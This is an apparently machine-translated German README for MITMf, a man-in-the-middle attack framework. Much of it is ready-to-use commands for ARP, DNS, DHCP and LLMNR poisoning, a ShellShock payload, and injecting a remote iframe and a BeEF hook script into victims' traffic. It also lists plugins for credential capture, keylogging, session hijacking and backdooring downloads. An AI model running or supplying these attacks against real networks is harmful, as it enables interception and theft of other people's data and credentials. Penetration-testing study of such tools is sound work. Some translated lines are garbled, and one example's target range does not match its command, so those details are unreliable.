Framework für Man-In-The-Middle-Angriffe
Dieses Projekt wird nicht mehr aktualisiert. MITMf wurde geschrieben, um den damaligen Bedarf an einem modernen Tool zur Durchführung von Man-In-The-Middle-Angriffen zu decken. Seitdem viele andere Tools entwickelt wurden, um diesen Raum zu füllen, sollten Sie wahrscheinlich Bettercap verwenden, da es weitaus umfassender ist und besser gewartet werden kann.
Schnelle Tutorials, Beispiele und Entwickler-Updates unter: https://byt3bl33d3r.github.io
Dieses Tool basiert auf Sergio-Proxy und ist ein Versuch, das Projekt wiederzubeleben und zu aktualisieren.
Kontaktieren Sie mich unter:
Twitter: @byt3bl33d3r
IRC auf Freenode: #MITMf
E-Mail: [email protected]
Bevor Sie Probleme einreichen, lesen Sie bitte den entsprechenden Abschnitt im Wiki.
Installationsanweisungen finden Sie im Wiki
Ziel von MITMf ist es, eine zentrale Anlaufstelle für Man-In-The-Middle- und Netzwerkangriffe bereitzustellen und gleichzeitig bestehende Angriffe und Techniken zu aktualisieren und zu verbessern.
Ursprünglich entwickelt, um die erheblichen Mängel anderer Tools (z. B. Ettercap, Mallory) zu beheben, wurde es fast vollständig von Grund auf neu geschrieben, um ein modulares und leicht erweiterbares Framework bereitzustellen, mit dem jeder seinen eigenen MITM-Angriff implementieren kann.
Das Framework enthält einen integrierten SMB-, HTTP- und DNS-Server, der von den verschiedenen Plugins gesteuert und verwendet werden kann. Außerdem enthält es eine modifizierte Version des SSLStrip-Proxys, der HTTP-Änderungen und eine teilweise HSTS-Umgehung ermöglicht.
Ab Version 0.9.8 unterstützt MITMf aktive Paketfilterung und -manipulation (im Grunde das, was etterfilters tat, nur besser), sodass Benutzer jede Art von Datenverkehr oder Protokoll ändern können.
Die Konfigurationsdatei kann im laufenden Betrieb bearbeitet werden, während MITMf ausgeführt wird. Die Änderungen werden über das Framework weitergegeben: Auf diese Weise können Sie die Einstellungen von Plugins und Servern anpassen, während Sie einen Angriff ausführen.
MITMf erfasst FTP-, IRC-, POP-, IMAP-, Telnet-, SMTP-, SNMP- (Community-Strings), NTLMv1/v2- (alle unterstützten Protokolle wie HTTP, SMB, LDAP usw.) und Kerberos-Anmeldeinformationen mithilfe von Net-Creds, das darauf ausgeführt wird Start-up.
Die Responder-Integration ermöglicht LLMNR-, NBT-NS- und MDNS-Poisoning sowie die Unterstützung von WPAD-Rogue-Servern.
Sie können jetzt jedes Paket/Protokoll, das von MITMf abgefangen wird, mit Scapy ändern! (Keine Etterfilter mehr! Juhuu!)
Hier ist zum Beispiel ein dämlicher kleiner Filter, der einfach die Ziel-IP-Adresse von ICMP-Paketen ändert:
if packet.haslayer(ICMP): log.info('Habe ein ICMP-Paket erhalten!') packet.dst = '192.168.1.0'
Verwenden Sie die packet
, um auf das Paket in einem Scapy-kompatiblen Format zuzugreifen
Verwenden Sie die data
, um auf die Rohpaketdaten zuzugreifen
Um nun den Filter zu verwenden, müssen wir nur noch Folgendes tun: python mitmf.py -F ~/filter.py
Sie werden das wahrscheinlich mit dem Spoof -Plugin kombinieren wollen, um tatsächlich Pakete von jemand anderem abzufangen ;)
Hinweis : Sie können Filter im laufenden Betrieb ändern, ohne MITMf neu zu starten!
Bei der grundlegendsten Verwendung werden die HTTP-Proxy-SMB-, DNS-, HTTP-Server und Net-Creds auf der Schnittstelle enp3s0 gestartet:
python mitmf.py -i enp3s0
ARP vergiftet das gesamte Subnetz mit dem Gateway unter 192.168.1.1 mithilfe des Spoof -Plugins:
python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1
Dasselbe wie oben + ein WPAD-Rogue-Proxyserver, der das Responder -Plugin verwendet:
python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --responder --wpad
ARP-Poison 192.168.1.16-45 und 192.168.0.1/24 mit dem Gateway bei 192.168.1.1:
python mitmf.py -i enp3s0 --spoof --arp --target 192.168.2.16-45,192.168.0.1/24 --gateway 192.168.1.1
Aktivieren Sie DNS-Spoofing während ARP-Poisoning (zu spoofende Domänen werden aus der Konfigurationsdatei abgerufen):
python mitmf.py -i enp3s0 --spoof --dns --arp --target 192.168.1.0/24 --gateway 192.168.1.1
Aktivieren Sie LLMNR/NBTNS/MDNS-Spoofing:
python mitmf.py -i enp3s0 --responder --wredir --nbtns
Aktivieren Sie DHCP-Spoofing (der IP-Pool und das Subnetz werden aus der Konfigurationsdatei abgerufen):
python mitmf.py -i enp3s0 --spoof --dhcp
Dasselbe wie oben mit einer ShellShock-Nutzlast, die ausgeführt wird, wenn ein Client angreifbar ist:
python mitmf.py -i enp3s0 --spoof --dhcp --shellshock 'echo 0wn3d'
Fügen Sie einen HTML-IFrame mit dem Inject -Plugin ein:
python mitmf.py -i enp3s0 --inject --html-url http://some-evil-website.com
Fügen Sie ein JS-Skript ein:
python mitmf.py -i enp3s0 --inject --js-url http://beef:3000/hook.js
Starten Sie ein Captive-Portal, das alles an http://SERVER/PATH umleitet:
python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --captive --portalurl http://SERVER/PATH
Starten Sie das Captive-Portal unter http://your-ip/portal.html mit der Standardseite /portal.html (danke-Responder) und /CaptiveClient.exe (nicht im Lieferumfang enthalten) aus dem Ordner config/captive:
python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --captive
Wie oben, aber mit dem Hostnamen captive.portal anstelle der IP (captive.portal muss in Ihre IP aufgelöst werden, z. B. über DNS-Spoof):
python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --dns --captive --use-dns
Stellen Sie ein Captive-Portal mit einer zusätzlichen SimpleHTTPServer-Instanz bereit, die LOCALDIR unter http://IP:8080 bedient (Port in mitmf.config ändern):
python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --captive --portaldir LOCALDIR
Wie oben, jedoch mit Hostname:
python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --dns --captive --portaldir LOCALDIR --use-dns
Und noch viel mehr!
Natürlich können Sie fast jedes Plugin miteinander kombinieren (z. B. ARP-Spoof + Inject + Responder usw.).
Für eine vollständige Liste der verfügbaren Optionen führen Sie einfach python mitmf.py --help
aus
HTA Drive-By : Fügt eine gefälschte Update-Benachrichtigung ein und fordert Clients auf, eine HTA-Anwendung herunterzuladen
SMBTrap : Nutzt die Schwachstelle „SMB Trap“ auf verbundenen Clients aus
ScreenShotter : Verwendet HTML5 Canvas, um einen genauen Screenshot des Browsers eines Kunden zu rendern
Antwortender : LLMNR-, NBT-NS-, WPAD- und MDNS-Vergifter
SSLstrip+ : HSTS teilweise umgehen
Spoof : Leiten Sie den Datenverkehr mithilfe von ARP-, ICMP-, DHCP- oder DNS-Spoofing um
BeEFAutorun : Führt BeEF-Module basierend auf dem Betriebssystem oder Browsertyp eines Clients automatisch aus
AppCachePoison : Führt HTML5-App-Cache-Poisoning-Angriffe durch
Ferret-NG : Entführt Client-Sitzungen transparent
BrowserProfiler : Versucht, alle Browser-Plugins verbundener Clients aufzulisten
FilePwn : Ausführbare Backdoor-Dateien, die über HTTP mit der Backdoor Factory und BDFProxy gesendet werden
Inject : Fügen Sie beliebigen Inhalt in HTML-Inhalte ein
BrowserSniper : Führt Drive-by-Angriffe auf Clients mit veralteten Browser-Plugins durch
JSkeylogger : Fügt einen Javascript-Keylogger in die Webseiten eines Kunden ein
Ersetzen : Ersetzen Sie beliebige Inhalte in HTML-Inhalten
SMBAuth : Ruft SMB-Challenge-Response-Authentifizierungsversuche hervor
Upsidedownternet : Dreht Bilder um 180 Grad
Captive : Erstellt ein Captive-Portal, das HTTP-Anfragen mithilfe von 302 umleitet
BTC: 1ER8rRE6NTZ7RHN88zc6JY87LvtyuRUJGU
ETH: 0x91d9aDCf8B91f55BCBF0841616A01BeE551E90ee
LTC: LLMa2bsvXbgBGnnBwiXYazsj7Uz6zRe4fr